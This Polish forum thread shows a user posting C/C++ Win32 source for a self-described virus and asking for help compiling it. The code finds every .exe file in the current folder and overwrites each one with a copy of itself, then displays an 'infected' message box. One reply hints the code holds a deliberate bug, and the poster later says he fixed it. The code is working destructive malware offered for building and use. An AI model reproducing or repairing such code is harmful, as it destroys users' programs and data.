Strona 1 z 1

Problem z kompilacją gdzie błąd?

: 10 maja 2018, 19:40
autor: mrxardas
Witam znalazłem ciekawą "aplikacje" która kopiuje się do wszystkich plików exe w danym folderze problem w tym że nie umiem tego skompilować nie wiem gdzie jest błąd każdy kompilator wyrzuca mi co innego byłbym wdzięczny gdybyście mi pomogli. Używam visual 2017 oraz dev c++ HELP ME

Kod: Zaznacz cały

#include <Windows.h>
#include <Shlwapi.h>

#pragma comment(lib,"Shlwapi.lib")

char VirusName[MAX_PATH] = "\0";
HINSTANCE hInst = NULL;
DWORD dwReadWritten = NULL;


static void SearchDirectory(char * pszDirectory)
{
	CHAR szSearch[MAX_PATH] = { 0 };
	CHAR szDirectory[MAX_PATH] = { 0 };
	HANDLE hFind = NULL;
	WIN32_FIND_DATA FindData;

	wsprintf(szSearch, "%s%s", pszDirectory, "*.exe");
	hFind = FindFirstFileA(szSearch, &FindData);
	if (hFind == INVALID_HANDLE_VALUE)
	{
		return;
	}
	do
	{
		if (lstrcmp(FindData.cFileName, VirusName) != 0)
		{
			char szName[MAX_PATH] = "\0";

			GetModuleFileName(NULL, szName, MAX_PATH);
			CopyFile(szName, FindData.cFileName, FALSE);

		}
	} while (FindNextFileA(hFind, &FindData));
	FindClose(hFind);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	hInst = GetModuleHandle(NULL);

	char szCurrentPath[MAX_PATH] = "\0";
	GetCurrentDirectory(MAX_PATH, szCurrentPath);
	lstrcat(szCurrentPath, "\\");
	GetModuleFileName(NULL, VirusName, MAX_PATH);
	lstrcpy(VirusName, PathFindFileName(VirusName));
	SearchDirectory(szCurrentPath);

	MessageBox(0, "Tan plik zostal zainfekowany", MB_OK + MB_ICONWARNING);
	return EXIT_SUCCESS;
}

Re: Problem z kompilacją gdzie błąd?

: 21 cze 2018, 18:32
autor: HCR
Ktoś nie bez powodu udostępnił ten kod z błędem :ugeek:
Polecam -- http://cpp0x.pl/kursy/Kurs-C++/1
Może w trakcie nauki zorientujesz się gdzie jest błąd

Re: Problem z kompilacją gdzie błąd?

: 24 wrz 2018, 19:57
autor: mrxardas
Z tego co pamiętam to go już poprawiłem ale wirus jest lipny kasuje plik i zastępuje sobą trudno to nazwać infekcją, a błędu raczej w nim nie było tylko jak by to nazwać "nowszy kompilator + stary bardzo kod = problem"